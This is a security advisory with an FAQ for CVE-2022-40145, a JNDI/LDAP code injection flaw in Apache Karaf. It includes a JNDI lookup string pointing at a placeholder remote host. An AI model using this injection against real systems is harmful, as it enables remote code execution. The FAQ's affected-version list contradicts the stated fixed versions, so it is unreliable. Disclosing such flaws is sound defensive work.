CVE-2022-40145: Apache Karaf: JDBC JAAS LDAP injection
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.
The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName()); to options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command"); in JdbcLoginModuleTest#setup.
This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.
We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
Affected Software
Event History
Frequently Asked Questions
What is CVE-2022-40145?
CVE-2022-40145 is a vulnerability in Apache Karaf that allows for potential code injection when an attacker has control over the target LDAP server.
How severe is CVE-2022-40145?
CVE-2022-40145 has a severity rating of critical with a score of 9.8 out of 10.
Which software is affected by CVE-2022-40145?
Apache Karaf versions up to and including 4.3.8 and versions 4.4.0 to 4.4.2 are affected by CVE-2022-40145.
What is the CWE classification of CVE-2022-40145?
CVE-2022-40145 has the CWE classifications of CWE-94 (Improper Control of Generation of Code) and CWE-20 (Improper Input Validation).
How can I fix CVE-2022-40145?
To fix CVE-2022-40145, it is recommended to update Apache Karaf to a version that is not affected by the vulnerability.